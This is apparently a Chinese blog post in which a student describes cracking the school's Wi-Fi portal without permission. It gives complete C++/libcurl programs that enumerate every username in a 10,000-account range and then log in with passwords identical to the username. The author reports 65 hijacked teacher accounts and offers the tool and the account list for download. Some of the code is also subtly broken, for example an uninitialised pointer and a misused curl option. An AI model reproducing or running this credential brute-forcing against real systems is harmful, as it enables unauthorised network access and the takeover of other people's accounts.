本帖所包含的内容仅限技术交流和学习研究使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!

由于学校wifi的蹭网人数太多,已经挂掉好几次了,所以信息组换成了认证登录,每个老师给一个账号,每个账号限制登录2台设备……这尼玛不能忍啊!
乘着之前去NOIP的机会,有借口带电脑去学校了……不到半个小时就跑出来了~(当时偷偷弄得,没截图,各位就看文字吧……)

本文主要是分析思路和程序编写,你可能需要C++基础和一些网页常识才能看懂,不知道的可以问谷哥或度娘。


0x00:准备工作

俗话说,再强大的防御系统最后的漏洞都在人身上,通过其他同学的小道消息,弄清了认证账号的格式:61+老师手机号后四位即610000-619999共10000种可能,至于密码默认是123456或者和账号一样,虽然要求修改了密码,然而大家都知道总会有那么几个懒人不改……我们的突破口就是这些人的密码。

0x01:试探

先看看认证界面,chrome浏览器发现是一个登陆界面,不过居!然!有!验!证!码!这就比较尴尬了……虽然看上去没有太多的混淆,不过这个OCR识别的工作量太大,放弃。
然后想着看看网页源码吧,然后就发现了一个好玩的东西,这个验证图片地址类似于这样:/img/1234.png ,这明显是在侮辱我的智商……于是想着模拟GET到网页,再截到验证码,然后POST就可以了。
然而某个意外导致了我用ie打开了这个网页,结果发现,上面只有一个登陆一个密码,连验证码都不要了……什么鬼?这货还看脸?好吧,反正我也懒得写截取的代码。

0x02:登陆包分析

Fiddler抓包看到了登陆包的格式:session+token+username+password,这设计者还有点脑子,每次要重新get新session和token,要不然直接飞起……
不过登陆时发现有3种状态:账号不存在,密码错误,登陆设备达上限,返回值就是中文。

0x03:爆破

当时电脑比较渣,懒得开庞大的VS了,就用VC6玩玩吧,方便起见就用非常棒的CURL来做HTTP模拟吧。
先把用户名跑出来

#include <afx.h>
#include <stdio.h>
#include "include/curl/curl.h"

size_t process_data(void* buffer, size_t size, size_t nmemb, void* user_p)
{
    strcat((char*)user_p, (char*)buffer);
    return size*nmemb;
}

int main(int argc, char* argv) {  
    //初始化curl
    CURL* pEasyHandle = curl_easy_init();
    CURLcode code;
    int m,n;    //方便多开,输入m,n代表爆破从m到n的账号(610000-619999)
    scanf("%d%d",&m,&n);
    char* f;
    scanf("%s",f);  //保存文件
    CString v=f;
    v.Format("%s.txt",v);
    FILE* fp=fopen(v,"w");
    for(int i=m;i<=n;++i)
    {
        printf("%d\n",i);   //当前账号名
        curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b");  //登录地址
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
        curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
        curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);   
        curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
        char szRet[100000] = {0};   //返回信息
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
        code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
        CString ret=szRet;
        int pos1=ret.Find("JSESSIONID=");   //定位sessionid
        CString session=ret.Mid(pos1+11,32);    //32位seesionid
        int pos2=ret.Find("TOKEN\" value=\"");  //取得当前TOKEN
        CString token=ret.Mid(pos2+14,32);
        CString po;
        //提交数据
        po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=123&submit=Login",token,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
        curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
        curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);    //提交地址
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
        curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
        curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);  
        curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
        char szRet2[1024] = {0};    //返回信息
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
        code = curl_easy_perform(pEasyHandle);
        ret=szRet2;

        if(ret.Find("帐号不存在")==-1)   //不是账号不存在(账号名有效)
            fprintf(fp,"%d\n",i);   //保存到文件

//printf("%s\n",szRet2);
    /*  Sleep(sp);
        cnt++;
        if(cnt%10 == 0)
            printf("%d\n",cnt);*/
    }
    fclose(fp);
    curl_easy_cleanup(pEasyHandle);
    getchar();
    return 0;  
}

开5个程序一起跑,由于是内网,速度飞快(大概3个/s)
最后发现221个有效账号,然后试用户名和密码相同的账号:(将main函数稍作修改)

int main(int argc, char* argv) {  
    //初始化
    CURL* pEasyHandle = curl_easy_init();
    CURLcode code;
FILE* fp=fopen("ok.txt","w");   //保存到ok.txt
    int i;
    freopen("data.txt","r",stdin);  //有效用户名文件
    //freopen("ok.txt","w",stdout);
    while(scanf("%d",&i)==1)    //循环读取data.txt
    {
        printf("%d\n",i);
        curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b");
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
        curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
        curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);   
        curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
        char szRet[100000] = {0};
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
        code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
        CString ret=szRet;  //返回数据
        int pos1=ret.Find("JSESSIONID=");   //找到sessionid
        CString session=ret.Mid(pos1+11,32);
        int pos2=ret.Find("TOKEN\" value=\"");  //找到token
        CString token=ret.Mid(pos2+14,32);
        CString po;
        //模拟提交
        po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=%d&submit=Login",token,i,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
        curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
        curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
        curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
        curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);  
        curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
        char szRet2[1024] = {0};
        curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
        code = curl_easy_perform(pEasyHandle);
        ret=szRet2; //返回数据
        if(ret.Find("密码错误")==-1)    //密码正确(可能是达到上限)
            fprintf(fp,"%d\n",i);   //保存账号

//printf("%s\n",szRet2);
    /*  Sleep(sp);
        cnt++;
        if(cnt%10 == 0)
            printf("%d\n",cnt);*/
    }
    fclose(fp);
    curl_easy_cleanup(pEasyHandle);
    getchar();
    return 0;  
}

这次更快了,几秒钟之后,65个账号就跑出来啦~(懒人还真多……)
电脑也已经连上网了~这下妈妈再也不怕没有密码了……

0x04:总结

学校的这个认证系统还真是辣鸡,各位如果需要做认证wifi的话还是要考虑很多东西,或者用广泛使用的认证系统,然后加上复杂的验证码(不要弄成验证码.png XD),最好有个尝试次数,这样才不怕别人蹭网……

完整工程下载(VC6):学校密码破解.zip
账号(有效账号指的是用户名和密码一样的账号):账号.zip

最后修改:2018 年 07 月 27 日 10 : 10 AM
如果觉得我的文章对你有用,请随意赞赏